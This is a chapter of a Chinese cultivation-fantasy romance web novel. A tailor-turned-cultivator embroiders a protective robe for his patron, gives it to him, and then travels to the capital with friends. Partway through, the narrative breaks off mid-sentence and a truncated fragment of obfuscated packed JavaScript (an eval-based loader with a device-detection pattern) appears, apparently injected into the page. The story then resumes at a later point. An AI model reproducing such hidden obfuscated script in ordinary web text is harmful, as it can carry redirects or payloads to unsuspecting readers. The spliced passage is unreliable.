此刻,指尖粗布的触感与记忆重合,那画面猛地撞破心防,无比清晰。那孩子……他有过怎样的几十年?家里是不是也有盼他归去的爹娘,有需要他帮衬的弟弟妹妹?他家的店,是卖杂货,还是也卖布料?他怎么会孤零零一个人,死在那荒郊野岭,成了山魈爪下的亡魂?他的家人呢?朋友呢?或许也都死了,或许还在某个地方苦苦等待一个永远不会回来的人。而现在,他连死后都不得安宁,尸身要被利用,成为另一个人洗白的踏脚石,名字和过往都会被彻底抹去,仿佛从未存在过。 自己……是不是在干一件极其残忍、极其错误的事? 这个念头像毒藤一样缠上来,勒得他无法呼吸。为了自己活下去,为了那点渺茫的自由,就理所当然地掠夺另一个不幸者最后的痕迹,甚至连他可能存在的、家人的那点渺茫念想也要一并掐灭吗? 他发现脸上冰凉一片,抬手去擦,摸到的全是湿痕。他哭了。陪苏妄承受那些难以言说的折辱时,他没掉过泪;以前家里穷得揭不开锅,看着爹娘愁白的头发时,他咬着牙把哽咽咽回去;上一次这样失控地流泪,好像还是很久以前,靠在纸鸢的肩膀上,因为苏妄给予的一切而崩溃。这一次,又是为了什么?为了那个陌生的、死去的孩子?还是发现竟也变得如此面目可憎? 温言发现了他的异样。那双总是能洞察细微的眼睛,在他又一次对着布料出神、泪痕未干时,映入了他的眼帘。温言没有追问具体缘由,只是轻轻握住他冰冷颤抖、布满旧茧的手,用平稳低沉的声音说:“别想了。有些事,发生了就是发生了。往前看,活下去,才是对……所有一切,最好的交代。” 温言的手很暖,话语里带着不容置疑的安抚力量。 云实点了点头,把翻腾的情绪强行压回心底深处。他知道温言是对的,箭已离弦,没有回头路。但那份沉重的钝痛,并未消失,只是沉甸甸地坠在那里,成了他心口一道新鲜的、隐秘的伤疤。 或许是出于一种连自己都无法完全理解的补偿心理,又或许只是想为那份无名的愧疚做点什么,在那些除了缝纫就是发呆的日子里,他拿出温言给他准备新身份时、一并搜罗来的那些五花八门的旧书杂卷。其中有一些,是关于凡人医师的经络穴位图说,还有一些是低阶修士强身健体、引导气血的粗浅法门附图。文字晦涩,图画粗糙,但他看得很仔细。 他一页页地翻,用指尖在桌上、在自己身上比划。这条脉从哪到哪,这个窍联着哪里,气血流过时该是怎样的感觉……他学得缓慢而吃力,却异常专注。一开始,他脑子里模模糊糊地想的是:如果……如果以后再遇到像那个孩子一样,受了重伤、奄奄一息的人,自己是不是能懂得多一点,哪怕只是帮忙止个血,顺顺气,或许就能从阎王爷手里,抢回一条命?就像……微弱地、弥补一点什么。 他买来的东西里,也夹杂着几本这类相关的、更专业的抄本和标注了经脉穴位的、简陋的木质人体模型。他对着模型,比照书籍,一点一点地啃。这过程比修炼更枯燥,却奇异地让他那颗因愧疚和执念而焦灼的心,获得了一丝短暂的平静。 他没想到,这些硬啃下来的、关于人体脉络气血的枯燥知识,会在后来,被他鬼使神差地,一针一线地,绣进了那件月白长袍的内衬夹层里。就在这种麻木的、近乎自我惩罚的重复中,一个念头,像暗夜中的一点磷火,倏地闪过。 修士的衣服……不仅仅是蔽体保暖。 他见过天衡宗弟子的袍服,有些内蕴清凉,不畏暑热;有些隐隐有光华流转,是简单的防护阵法。温言那些看似寻常的衣物,是否也暗藏玄机?他从未感知到明确的灵力波动,或许是因为温言修为高深,掩饰得极好,又或许……用的是更精妙、更不露痕迹的方式? 这个念头一旦生出,便迅速蔓延,与他脑海中那些挥之不去的引导纹路纠缠在一起。 储物袋的纹路,作用是引导和聚焦,将散乱的生机意念转化为开启空间的钥匙。那么,如果改变纹路的结构、走向、与不同材料的结合方式,引导和聚焦的对象,是否可以不是“开启空间”,而是……别的? 这个想法让他濒临枯竭的精神猛地一振。是的,这才是方向!一件仅仅好看、舒适的衣服,配不上温言。一件蕴含着“实用”巧思,哪怕功能极其微弱、不显山露水,却真正花了心思、用了手艺的衣服,或许……才有一丝可能,不那么可笑。 他立刻开始了新的、更疯狂的试验。 这一次,目标明确,却也困难百倍。储物袋的纹路是固定的、单向的、目的单一的。而要在衣物上实现他设想的功能,纹路需要更复杂,可能需要适应人体轮廓和活动,可能需要多个微型纹路单元组合成阵列,更需要与布料纤维、缝合线路、甚至他手头那些低劣的“饰品”材料完美结合。 他开始在更大的布片上绘制更复杂的图案。螺旋纹需要变形,回环纹需要连接,还要考虑纹路绣制时,丝线走向对引导效果的影响。 这是一个极其耗神的过程。每一针落下,都不仅仅是缝纫,更需要他集中全部意念,想象着针尖带着丝线在布料经纬间穿行时的能量通道。这比当初制作一次性储物袋时单纯的意念灌注,要求高了何止十倍。很快,他就感到头痛欲裂,精神透支,眼前阵阵发黑。但他停不下来。 与之前的绝望拆改不同,此刻的每一次失败,都似乎指向一个更清晰的调整方向。纹路在这里断开,效果不连贯?那就修改连接处的走线方式。绣完一片区域,感觉引导之力滞涩?那就调整丝线的松紧,或者尝试换一种底布料。他完全沉浸在这个由线条、材料、意念构成的微观世界里。 一个前所未有的优势是,他现在有钱了。温言留给他的安身钱,足够他在这个小镇上购买能买到的最好材料。他不再局限于凡俗材料,开始有意识地去寻找、尝试能与他的意念引导产生更好共鸣的东西。 他将小屋一角彻底改成了试验台。各种线卷、染料瓶、研磨钵、画满图形的废布料堆叠在一起。饿了,匆匆扒几口冷饭;困极了,就伏在堆满杂物的桌边眯一会儿。胃痛成了常态,视力因为长期在昏暗光线下凝视细密纹路而开始下降,但他浑然不觉。时间在这里失去了意义,只有墙上那道移动的光斑,以及他手底下不断演进、组合、又推倒重来的纹路阵列。 偶尔,在极度疲惫、精神恍惚的间隙,他会抬起头,透过小窗,看向外面那个他几乎已经遗忘的世界。溪草镇的四季悄然轮转,窗外的竹林由浓绿转为枯黄,又覆上薄霜,最后在某个他未曾留意的清晨,抽出嫩绿的新芽。半年时光,就在这日复一日的针线穿梭、意念绞磨中,如水般流逝。 其间,他提笔给纸鸢写过一封信。信很短,字迹有些潦草,却用力。 他说“纸鸢,我很想念你们。但最近风声或许仍紧,我这里一切都好,不必挂念,也先不要来看我。让予也安心,不必来回奔波。等我这边……彻底安稳下来。” 笔尖顿住时,心头泛起的,却是另一层更深的羞惭——他怕纸鸢和予看见他此刻这副形容枯槁、沉迷于无用之功、近乎疯魔的样子。他把自己锁在这间小屋,锁在这个为温言制作一件完美衣服的执念里,仿佛外面那个需要他关心、也关心着他的世界,都成了模糊的背景噪音。 纸鸢的回信依旧及时,透着理解和干练。她说知道了,让他自己多保重,缺什么尽管开口。作坊生意尚可,流言似乎淡了些,但她也更加小心。 这封信让云实在冰冷的偏执中,感到一丝微弱的暖意和更深的愧疚。但他很快又埋首于那片纹路的迷宫。纸鸢的披风,予的短袄,早已完工,整齐地叠放在柜子里。而属于温言的这件,占据了他在溪草镇全部的生活,吞噬了他的时间、健康,乃至清醒的感知。 衣服在他手里渐渐有了魂魄,这魂魄的源头,是他指尖对引导二字刻入骨髓的记忆。曾经储物袋内衬上,那些简陋螺旋纹曾为他撬开一线生机。如今,他要用这偷来、又用无数不眠之夜和破碎材料生生磨出点新模样的歪理,去编织一些更幽微、也更奢侈的东西。 念头一旦生根,便如附骨之疽,将他牢牢钉死在这间弥漫着染料与矿石粉尘的小屋,钉死在堆满凌乱布料的桌案前。 料子是反复洗染的月白,色泽温润得像把晨雾和月光都揉了进去,细看时,有极淡的水流暗纹在经纬间无声淌过,仿佛活物在呼吸。款式是反复推敲过的,简洁到近乎谦卑,肩线的宽度,袖口的收束,腰身那道不起眼的弧度,都对着记忆里那个身影比对过无数回——要不妨碍他执笔或按剑,要方便他翻阅卷宗时袖摆不缠,要让他坐下时依旧从容舒展。这不像是在裁衣,倒像是在用布料与丝线,笨拙地描摹另一个人的习惯与骨肉。 真正的工夫,全藏在看不见的夹层里,那是他用针尖与意念一点点凿刻出的另一个世界。 他先对付的是灵力流转。温言的灵力深厚如渊,自有法度,本不需外物置喙。可云实偏执地想,若能让他更顺畅一丝呢?哪怕只省下他弹指间的一缕心神也好。他寻来的矿石在石臼里研磨了千百遍,细得像初冬的第一场霜,掺进特选的丝线里。然后,在衣袍内衬对应人体几处紧要关窍的方位,他落下了第一针。针尖牵引着那蕴着微凉灵气的丝线,走的不是花鸟纹样,而是一条条极其繁复、彼此勾连的“路”。这些路寂静地伏在柔软的织物之下,不生产力量,只做最敏感的河床与最精微的共鸣腔。他绣的时候,想象着当温言的灵力流过这些地方时,衣下的纹路会随之产生难以察觉的微弱震颤,像是无声的应和,或许能抚平奔流中连主人自己都未必察觉的细微滞涩,让那股强大的力量运行得更圆融,更省力。旧书残页里模糊提过,长期浸润此道,对自身灵力的感知也会如镜拭尘,变得更加清晰明澈——这只是他囫囵吞枣看来的猜想,此刻却成了他穿针引线时,心底最虔诚的祝祷。 接着是心神。他总也忘不了温言眉宇间偶尔掠过、又迅速被温润表面吞没的倦色,还有那双深潭般的眼睛里,需要他极力分辨才能窥见的一丝思虑重影。领口内侧、袖口贴合手腕的地方、后背心……这些最贴近肌肤、也最易感知情绪起伏的所在,他换上了用数种安神草木反复浸染、气味已淡到近乎无有的丝线。针脚在这里变得异常舒缓,绣出的纹路不再是引导,更像是一个个向内旋转的、温柔的涡旋。它们的作用微小到近乎于无,却能在穿戴者心浮气躁、杂念纷扰时,如同悄然置身幽寂竹林深处,吸附走一丝令人烦闷的火气,氤氲开令人不自觉沉静下来的宁和气息。他暗暗希望,在他无法触及的遥远时空里,这件衣服能代替他,给那个人捎去片刻心境的清朗与安宁。 最耗心血、也最让他如履薄冰的部分,关乎存续与守护。这两个念头源于更深的不安与恐惧,连他自己都不敢细想。他在衣袍腰侧、肩头几处不起眼的节点停下,换上了掺着火纹石粉末的丝线。在这里,他绣的纹路借鉴了储物袋开辟微小空间的原理,但目的截然不同。纹路结构精巧地缠绕成几个极其微缩的“巢”,它们无法储存大量灵力,其用意在于暂存与过渡。当穿戴者灵力消耗剧烈、或是需瞬间爆发却又后继乏力时,或许能从这巢中,汲取一丝预先储存的温和灵力。 而真正让他呕心沥血的,是防御。他在衣袍的前后心和腰腹要害对应之处,换上了掺着铁木芯粉末和特殊矿物颜料的、近乎坚不可摧的异色丝线。刺绣至此,已不再是劳作,而是一场对心神、眼力与指尖掌控力的残酷榨取。每一针都必须精准地落在他脑中演练过千万次的轨迹上,毫厘之差,可能满盘皆废。绣出的纹路层层叠叠,彼此嵌套勾连,复杂得犹如千年龟甲上天然的裂痕。 这套纹路阵列,其精妙不在硬抗。他深知自己这点微末道行和手头的材料,妄想抵挡真正的雷霆一击,无异于痴人说梦。他赌上的,是另一种更近乎直觉的构想:感知与偏转。 他设想,当足够致命的威胁逼近衣袍表面的刹那,最外层那些精心构筑的纹路结构,会像最敏感的琴弦被夜风拂动,产生一丝微弱到极致、却能被内部阵列瞬间捕捉并共振放大的预颤。这颤抖如同投入古井深水的石子,漾开的涟漪沿着纹路勾连的无形通道,一刹那间便传遍整个阵列。 然后,才是真正的化解。阵列被触发的瞬间,会以一种近乎生命本能的方式,引导穿戴者自身肌肤自然散逸的、那微薄到几乎不存在的气血与灵力(哪怕主人浑然未觉),在遭受攻击的那一点上,急速形成一个肉眼与灵觉都难以捕捉的、高速旋转的偏转之势让直刺心口的锐器在最后一瞬偏开毫厘,让抹向颈侧的寒锋滑向空处,让袭向后背的沉重掌力被卸掉最关键的那一丝劲道。同时,攻击所携的大部分冲击,会被这精妙的纹路阵列引导着、分散到衣袍更大的面积上,由更多坚韧的布料和复杂的结构共同承受,避免所有力量集中于一点,造成瞬间的崩毁。毫厘之差,或许便是生死之隔;卸去半成力道,有时就能搏出一线喘息之机。 刺绣这些部分时,他常常因精神过度凝聚而眼前发黑,耳中嗡鸣,针尖深深刺破手指也浑然不觉,鲜血渗出,在丝线上留下暗红的斑点,他便默默拆掉那一小段,换上新的线,重头再来。每完成一片巴掌大小的区域,都像经历了一场神魂层面的虚脱,不得不靠着冰冷的土墙滑坐在地,喘息良久,才能重新积攒起拾起针线的力气。 窗外的溪草镇,在穿针引线的间隙里默然流转。青绿染上枯黄,霜雪覆盖屋瓦,又在某个他未曾抬头的瞬间,被点点鹅黄新绿悄然取代。整整半年的光阴,被抽离、压缩、锻打,最后一丝不剩地,织进了这件逐渐变得沉甸甸的月白长袍之中。 当最后一根线头被剪断,那声轻微的“嚓”音,在死寂的小屋里竟显得惊心动魄。没有预想中的狂喜或解脱,只有一种被彻底淘空五脏六腑的疲惫,和随之汹涌而来的、无边无际的空茫。他双手捧起这件耗尽了他一切的作品。 月白的料子流淌着一种极为温润内敛的光泽,那光仿佛是从织物纤维深处自然沁出来的,毫不刺眼,却让整件衣袍笼罩在一层朦胧而洁净的晕彩里。款式是温言一贯偏好且穿着的那种样式,宽绰合度,线条干净利落,没有任何冗余的装饰或刻意彰显身份的纹样。它挂在手里,垂感极佳,料子触手是难以言喻的柔软与顺滑,却又带着筋骨,不至于软塌无形。 它不会在第一时间夺人眼球,宣称自己多么珍贵,但无论是谁看到,都会觉得它妥帖、舒适、赏心悦目,是一件质地极好、穿着者必定很有品味的日常衣裳。它恰恰是温言衣橱里会有的那种衣服。乍看并不惊人,细看却处处经得起推敲,越看越觉舒服耐看。云实便是对着记忆中温言那些看似随意却绝非凡品的衣物,一点点琢磨、比对,才定下的这最终的模样。 只有对着光线极其细致地端详,或许才能在那月白温润的底色深处,极其偶然地捕捉到织物纹理间一丝丝更为玄妙的、仿佛活水微澜或呼吸般律动的幽暗痕迹,它们一闪即逝,快得让人来不及确认,更像是一种视觉的恍惚,为这件本就出众的衣裳,平添了几分难以言喻的深度与神秘。 他呆呆地看着,看了太久,反而失去了评判的能力。他不知道这件衣服究竟算好算坏,在真正的行家眼里价值几何。他只知道自己已倾尽所有——一个布店儿子的全部手艺,一个走了邪路修士的全部领悟,一个被恩情与复杂心绪压得喘不过气的人的全部偏执。 修仙界并非没有类似的神异法衣,往往被宗门深藏,视为镇派之宝的一部分,炼制之法更是绝密。他看的那些残缺记载,都是几十上百年前的旧闻,语焉不详。他也听过传说,有些惊才绝艳之辈,自身便是一座行走的宝库,举手投足自成法则,无需任何外物点缀。 但他做的这件不同。它外观只是一件好看舒适的衣裳。 整整半年。溪草镇默然经历着季节更迭,小屋内的光阴却仿佛被抽离,全部压缩、锻打,一丝丝织入了这件逐渐完整的月白长袍。 他成功了,也耗尽了。 接下来呢?他不知道。这衣服,他敢送出去吗?温言会看出其中的门道吗?看出了,又会如何想? 这些问题沉甸甸地压下来,比过去半年所有具体的困难更让他感到无力。他只是疲惫地闭上眼,听着自己粗重而虚弱的呼吸,在堆满布料和杂物、弥漫着颜料和尘灰气息的小屋里,一声,又一声。 …… 当云实终于从那种近乎虚脱的停滞状态中挣扎出来,强打起精神去查看屋角那个许久未动的信箱时,他才惊觉自己错过了什么。里面静静地躺着两封来自温言的信,信封上熟悉的字迹让他心头一紧。一封是一个月前寄来的,字里行间是克制的关切,问他安顿得如何,是否缺什么,语气平稳,却透着一丝不易察觉的担忧。另一封,是七天前刚到的,笔迹依旧稳定,内容却直接了许多——“半年之期已至,久未得你回音,甚忧。诸事渐妥,我将亲来一趟,接你回去。” 回去。这两个字像带着温度的水,瞬间融化了包裹在他心外那层厚重的、自我隔绝的冰壳,也让他后知后觉地感到一阵恐慌——自己这副模样,如何能见温言? 他几乎是立刻行动了起来。先是将自己从头到脚彻底清洗,刮去杂乱生长的胡须,修剪过长的头发。镜子里的人面色苍白消瘦,眼窝深陷,但总算露出了清晰的脸部轮廓,眼神里那种涣散的偏执淡去了,取而代之的是一种疲惫的清醒。他强迫自己按时吃饭,不再用生冷的食物敷衍胃袋,而是认真煮了软烂的米粥,做了简单的菜蔬。夜里,不再对着布料和纹路发呆,而是躺回床上,即使失眠,也闭目调息,让枯竭的精神一点点恢复。 接着是收拾那间如同战后废墟般的小屋。他将堆积如山的废弃布料和画满纹路的纸团分类打包,该扔的扔掉,能留的整理好。桌案被擦拭干净,散落的针线、矿石粉末、染料罐被一一归位。打开窗户,让积攒了半年的、混杂着各种材料气息的沉闷空气流通出去,换入溪草镇春天清冽的风。 温言来的那天,天气很好。阳光透过竹林的缝隙,在小院里洒下斑驳晃动的光点。院门被推开时,云实正站在收拾干净的屋前,有些无措地等待着。然后,他就看到了那个身影踏着光晕走进来。 温言似乎没什么变化,依旧是一身看似寻常却质地不凡的常服,眉宇间带着惯常的沉稳,只是目光在触及云实的瞬间,细微地颤动了一下,随即被更深的柔和覆盖。他快步走近,在云实面前站定,没有说话,只是伸出手,轻轻地、却带着不容拒绝的力度,将云实拥入怀中。 怀抱坚实而温暖,带着风尘仆仆的气息,还有云实熟悉的、令人安心的味道。温言的下巴抵着他的发顶,声音低低地响在耳畔,带着一丝长途跋涉后的沙哑,和毫不掩饰的情感:“……我真的很想你。” 云实的身体先是微微一僵,随即彻底放松下来,所有的紧张、不安、自我怀疑,仿佛都在这个拥抱里找到了暂时的栖息地。他伸出手,环住了温言的腰,将脸更深地埋进对方的肩颈,声音闷闷的,却清晰无比:“……我也是。” 静默相拥了片刻,云实才微微后退半步,抬起头,看着温言近在咫尺的眼睛。那里面的担忧、思念,还有终于见到他安然无恙的释然,都清晰可见。他没有犹豫,仰起脸,轻轻吻上了温言的唇。温言稍稍一顿,随即温柔地回应了他,舌尖轻轻描摹着他的唇形,如同无声的慰藉与询问。 一吻结束,两人的气息都有些微乱。云实耳根发热,却强作镇定。他深吸一口气,转身走进屋内,从唯一整洁的床铺上,捧起了那件月白的长袍。 他走回温言面前,双手将衣袍递出,动作郑重得近乎虔诚,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还有……温言的手指在衣袍前后心、肘弯几处不易察觉地停顿了片刻。他的灵觉捕捉到了更隐晦、也更复杂的结构——那是层层嵌套、精密无比的引导阵列。 更让他心中掀起惊涛骇浪的是,所有这些功能,这些通常需要珍贵灵材、复杂炼器工序、由专门匠师或宗门工坊合力才能尝试赋予法器的功效,此刻竟然完美地、和谐地共存于一件用针线缝制出来的日常衣袍里。没有半点灵力外泄的笨重感,没有法器常有的那种或冰冷或灼人的异物气息,它轻盈、舒适、好看,穿在身上绝不会引人注目。 官方制作的制式护身法衣,他见过不少,要么功效强横却沉重板硬、穿着不便;要么追求轻便舒适,防护和辅助效果便大打折扣。何曾有过这样……将功效、舒适与美观平衡到如此匪夷所思境地的存在?而这,竟然是云实,用最普通的针线,在这样一个偏远小镇的陋室里,一针一线绣出来的? 温言抬起头,看向面前有些忐忑不安的云实。青年脸上还带着久不见天日的苍白,眼神却清澈,正紧张地观察着自己的反应。温言张了张嘴,想说什么,却发现喉咙像是被什么堵住了,惯常的冷静与言辞此刻竟离他而去。他试了两次,才发出一点轻微的气音,却没能组成完整的句子。 他不是没见过厉害的法器,四明宗的库藏,经手的奇珍,乃至某些隐秘渠道流出的古物,他都略有见识。但眼前这件……颠覆了他某种根深蒂固的认知。 他猛地收紧了手指,将那月白的衣袍紧紧按在胸前,仿佛要透过衣料,握住那份无声诉说的全部。胸膛起伏了几下,他才终于找回了自己的声音,那声音低哑得厉害,带着毫不掩饰的震颤: “这……这是你……一针一线……做出来的?” 云实看着温言紧紧攥着衣袍、喉结滚动却说不出完整句子的模样,心一下子沉到了谷底。还是……不行吗?太简陋了?或者哪里做得不对,惹他不喜欢了?他几乎想要伸手把那件衣服拿回来,或者立刻逃开,躲回那个尚未完全收拾干净的屋子角落里去。 “我……”他刚艰难地吐出一个字,试图解释或者道歉。 “喜欢。” 温言打断了他,声音依然带着未平复的沙哑,却异常清晰、斩钉截铁。他抬起头,那双总是沉静深邃的眼眸此刻亮得惊人,里面翻涌的情绪复杂得让云实看不懂,但那最表层的光芒,是毫无保留的、近乎灼热的喜爱与惊叹。他重复了一遍,每个字都像从胸腔里直接掏出来,带着沉甸甸的重量:“太喜欢了。” 他松开紧按在胸前的手,将衣袍稍微拿开些,低头又看了看,指尖珍惜地拂过那温润的月白料子,然后抬起头,目光牢牢锁住云实,嘴角扬起一个极其真切、甚至带着点罕见孩子气的弧度:“这礼物,我收下了。不仅要穿,”他顿了顿,语气里带着一种不容置疑的珍重,“还要天天穿。” 悬在半空的心,被这句话稳稳地接住了。冰锥瞬间融化,化作一股温热的暖流,从心口迅速蔓延到四肢百骸。一股巨大的、混杂着释然、喜悦和浓浓酸涩的暖意冲上鼻腔,让他眼眶瞬间就红了。他努力眨了眨眼,把那股湿意逼回去,嘴角却不受控制地向上弯起,露出了这半年来的第一个,真正轻松而明亮的笑容。他用力点了点头,喉头哽咽,一时说不出别的话,只是重复:“嗯……你喜欢就好。” 温言看着他如释重负、甚至有些傻气的笑容,心尖像是被最柔软的羽毛轻轻搔了一下,又痒又暖。他珍而重之地将衣袍搭在臂弯,空出的那只手自然地伸过去,握住了云实还有些冰凉的手指。 “我试试。”温言说着,语气里带着一丝罕见的、几乎可以称之为“雀跃”的期待。他松开云实的手,就当着云实的面,褪去了自己的外袍,然后将那件月白长袍穿在了身上。 动作间,衣袍如水般滑落,妥帖地覆上他的肩背腰身。大小竟是分毫不差,肩线恰好,袖长合度,腰身收束得利落又留有恰到好处的余裕。温言抬手,转身,动作流畅自然,衣袍随着他的姿态无声流转,月白的光泽在春日阳光下泛起温润的涟漪,更衬得他身形挺拔,气质清贵。这衣服仿佛不是新做的,而是早已跟随他多年,熟悉他每一个细微的习惯。 温言系好衣带,微微活动了一下肩膀,一股难以言喻的舒适感便包裹了他。料子柔软亲肤,毫无新衣常有的僵硬感。更奇妙的是,当他下意识地略一调息,体内灵力随之自然流转时,衣袍内衬那些精妙纹路似乎产生了共鸣,仿佛有无形的手在轻轻梳理,让灵力运行得比平时更加圆融顺畅了,那份舒适感甚至蔓延到了灵台,让连日奔波和此刻激荡的心绪都悄然沉淀下来,变得异常清明宁静。 这感觉……太不寻常了。温言垂下眼,看了看自己的衣袖,又抬眼望向紧张等待反馈的云实,心中那个念头如同破土而出的新芽,瞬间变得坚定无比。 不能再让他一个人待在这种地方了。 之前种种考量在这一刻,似乎都变得不再那么绝对重要。云实拥有的,绝不仅仅是那点惹麻烦的乱灵根和苏妄留下的诡异内丹。他有一种近乎本能的、化腐朽为神奇的天赋,一种能将冰冷的知识、复杂的情感、甚至沉重的歉疚,都化作指尖下温暖而强大实物的能力。这种能力,远比任何已知的“天赋”都更珍贵,也更需要被妥善保护、引导和……留在身边。 让他留在自己身边打下手?不,那太轻慢了。温言看着云实因为自己试穿合体而明显亮起来的眼睛,心中迅速做出了决定。他要带他回去,不是作为需要隐藏的麻烦,也不是作为偶尔需要关照的旧识。他要将他接回家,放在自己目之所及、力所能及的范围之内。这个决定一旦做出,便如金石落地,再无更改。 “很合身,”温言开口,声音已经恢复了惯常的平稳,但眼底的暖意和赞赏满得几乎要溢出来,“舒服得……不像新衣服。” 他朝云实走近一步,伸手,这次不是握手,而是轻轻捧住了云实的脸颊,拇指拂过他眼下因为长期缺乏睡眠而残留的淡淡青影,动作温柔至极。 “云实,”他低声唤道,目光深邃,“这半年,你受苦了。” 云实被他掌心温热和突如其来的亲昵弄得有些无措,脸颊微微发烫,却也没有避开。他只是仰着脸,看着温言近在咫尺的眼睛,轻轻摇了摇头:“没有……我挺好的。”说完,似乎觉得这话太苍白,又补充道,“衣服你喜欢,就都值得。” 温言没再说什么,只是俯身,在他额头上落下了一个很轻、却无比珍重的吻。 翌日临走前,温言没有请人给云实易容。他觉得那样反而刻意,容易在真正的行家眼里留下破绽。 “云实,你换上这个。”他从自己的储物法器中取出了一套衣服。那是一套雨过天青色的交领长袍,料子柔韧挺括,色泽清雅,只在袖口与衣襟边缘用同色丝线绣着极其精细的暗纹云气,不显山露水,却自有一番内敛的气度。这是世家之中身份清白的子弟常穿的便服。同时递过来的,还有一根素白的、用某种冰滑丝线编织而成的发绳。 云实接过,触手是意料之外的好料子,比他在溪草镇能买到的任何布料都要细腻。他看了温言一眼,对方神色平静。他没多问,转身进了里间。 当他再次走出来时,温言的目光在他身上停留了片刻,随即点了点头。 天青色的袍服十分合身,既不过分宽大显得空荡,也未紧裹着凸显瘦削,恰到好处地勾勒出他清癯的骨架,反衬出一种松竹般的清韧。他依着自己的习惯,只将上半部分的头发用那根白色发绳束起一个简洁的马尾,余下的发丝依旧松散地披在肩后,长度约莫及肩。 他依旧是他,眉眼未改,甚至神态间那点惯有的安静犹在,但整个人立在那里,已不再像是无根漂泊的浮萍,倒像是某个清静门庭里,一个或许性子有些静、但绝对被好好接纳和对待的年轻子弟,像是山间一棵天生姿态疏朗的野树,被移栽进了精心打理却不过分匠气的庭院。 温言走上前,伸手替他拂了拂肩上并不存在的褶皱,指尖顺势掠过他束起的马尾,触到那冰滑的白绳。 “很好,”他端详着,眼中流露出满意,“就这样。记住,从现在起,你叫‘阿实’,是我温家旁支一个远房表亲的孩子,父母早亡,早年在外漂泊,最近才来投奔我,在我身边做些文书整理和随行伺候的杂事。话不必多,但若有人问起,需答得坦然。” 云实点了点头,将这新的身份烙印在心。他知道,这层身份是暂时的。 他们离开溪草镇时没有惊动任何人,仿佛若笠这个人,就如同他到来时一样,悄然消失在了小镇的春风与溪流声中。温言雇了一辆外观普通、内里舒适的马车,不紧不慢地朝着京城方向行去。马车外是逐渐繁华起来的官道景象。 行程过半,在一个南北商旅往来频繁的大镇驿站歇脚时,意料之外的相遇发生了。 温言正带着云实在驿站旁的茶棚里稍作休息,刚坐下,便听见一个熟悉的、活力十足的声音从门口传来:“掌柜的,老规矩,三碗阳春面,一壶你们这儿最好的茶!赶了一路,可算能歇歇了!” 云实下意识地抬头望去,只见风尘仆仆的纸鸢正利落地跨过门槛,她身后跟着个子窜高了些、肩膀也宽厚了些的予,少年脸上带着跑江湖练出来的机警和蓬勃朝气,手里还提着两个不小的包袱。纸鸢似乎瘦了些,但眉宇间的干练与那股子利落劲儿更足了,眼神亮得像淬过火的刀子,扫过茶棚时又快又准。 予东张西望,一眼就看到了茶棚里显眼的温言,以及温言身旁那个熟悉身影。 “温大人!”予惊喜地叫出声,随即目光落在云实身上,愣了一下,有些不敢确认,挠着头嘀咕:“……云,啊不对,现在该叫啥来着?” 温言显然也有些意外,但很快便恢复了从容,起身微笑道:“真是巧遇。纸鸢姑娘,予,别来无恙。” 纸鸢走过来,予紧跟其后。 “温大人安好。”纸鸢先向温言行了一礼,目光便落在了云实身上,将他从头到脚细细打量了一遍,眼中闪过一丝了然,随即化为更深的宽慰。她什么也没问,只是伸出手,轻轻拍了拍云实的胳膊,力道温和而扎实:“好久不见。看起来……气色好些了。” 予则是直接蹦了过来,差点想给云实一个拥抱,瞥见旁边的温言又硬生生刹住,只用力拍了拍他的肩膀,声音洪亮:“云实哥!真是你啊!这打扮……我都差点没认出来!嘿,精神多了!” 他嗓门大,引来茶棚里些许侧目。 温言示意他们一同坐下。交谈间得知,纸鸢的生意在顶住最初那波流言和压制后,凭借过硬的质量和灵活的手段,竟在夹缝中又打开了些新局面。予不再四处打零工,干脆正式跟着纸鸢干,他机灵肯跑,熟悉三教九流,又能打能扛,成了纸鸢得力的帮手和保镖,两人配合日渐默契。他们这次是往南边去谈一桩新的原料买卖,恰好在此歇脚。 “对了,云实,”予忽然想起什么,从随身的包袱里掏出一个用油纸包得严严实实的东西,献宝似的递过来,“给!纸鸢姐特意绕路去有名的徐记买的酱肘子,还说要是路上碰不到你,就托人捎去溪草镇呢!可香了!” 云实接过那还带着些许温热的油纸包,沉甸甸的,酱肉的浓香隐约透出来。他看向纸鸢,纸鸢只是笑了笑:“想着你或许缺油水。予念叨了一路,怕凉了不好吃。” 简单的对话,寻常的食物,却让云实喉头一阵发紧。他低着头,手指摩挲着粗糙的油纸,半晌才低声道:“……谢谢。” 温言将一切看在眼里,心中那个决定越发坚定。他沉吟片刻,开口道:“既然在此巧遇,便是缘分。我们也要回京,方向一致。若不嫌弃,不妨同行一程?路上也有个照应。” 他这话主要是对纸鸢说的,姿态放得很平,是以商量的口吻。 纸鸢看了看温言,又看了看捧着酱肘子有些无措的云实,几乎没怎么犹豫便点头应下:“那便叨扰温大人了。” 她能感觉到温言此举的善意,也乐得有机会能和云实多相处片刻,亲眼看看他过得好不好。 于是,原本两人的行程变成了四人同行。温言重新安排了一辆更宽敞的马车。一路上,气氛与之前截然不同。 予是个闲不住的话匣子,他挤在云实身边,兴奋地讲述着这半年跟着纸鸢走南闯北的见闻——哪里遇到了难缠的官府小吏,纸鸢姐如何三言两语化解;哪里发现了便宜又好用的新染料;他们怎么跟一伙想强买强卖的当地痞子周旋……他说得眉飞色舞,手舞足蹈,仿佛那些艰难困顿都成了有趣的冒险。云实安静地听着,偶尔问一两句,眼中渐渐有了鲜活的神采。 纸鸢则大多时间与温言低声交谈,话题偶尔涉及沿途风物、商事见闻,甚至隐晦地提到一些北地官面上的新动向。 途中歇宿时,云实终于找到了机会,将早已准备好的两件礼物拿出来。给予的是一件深褐色厚实短袄,在予惊喜的怪叫声中,云实低声解释:“跑外头,风大,这个耐磨,也暖和些。” 袖口衣襟处不起眼的蔓草纹,是平安的祈愿。 给纸鸢的是一件青灰色披风,样式大方简洁。纸鸢接过去,手指拂过领口内侧那簇精致的、几乎看不见的鸢尾花绣纹时,指尖微微一顿,抬眼看向云实,眼中波光微动,最终化为一个极其温柔而了然的笑容。 “很实用,我很喜欢。”她轻声说,将披风仔细叠好收了起来。 送出礼物,看到他们真心欢喜的样子,云实心里那块一直空缺的角落,似乎被什么东西暖暖地填满了。那种感觉,比他成功做出任何一件器物都要来得充实和快乐。 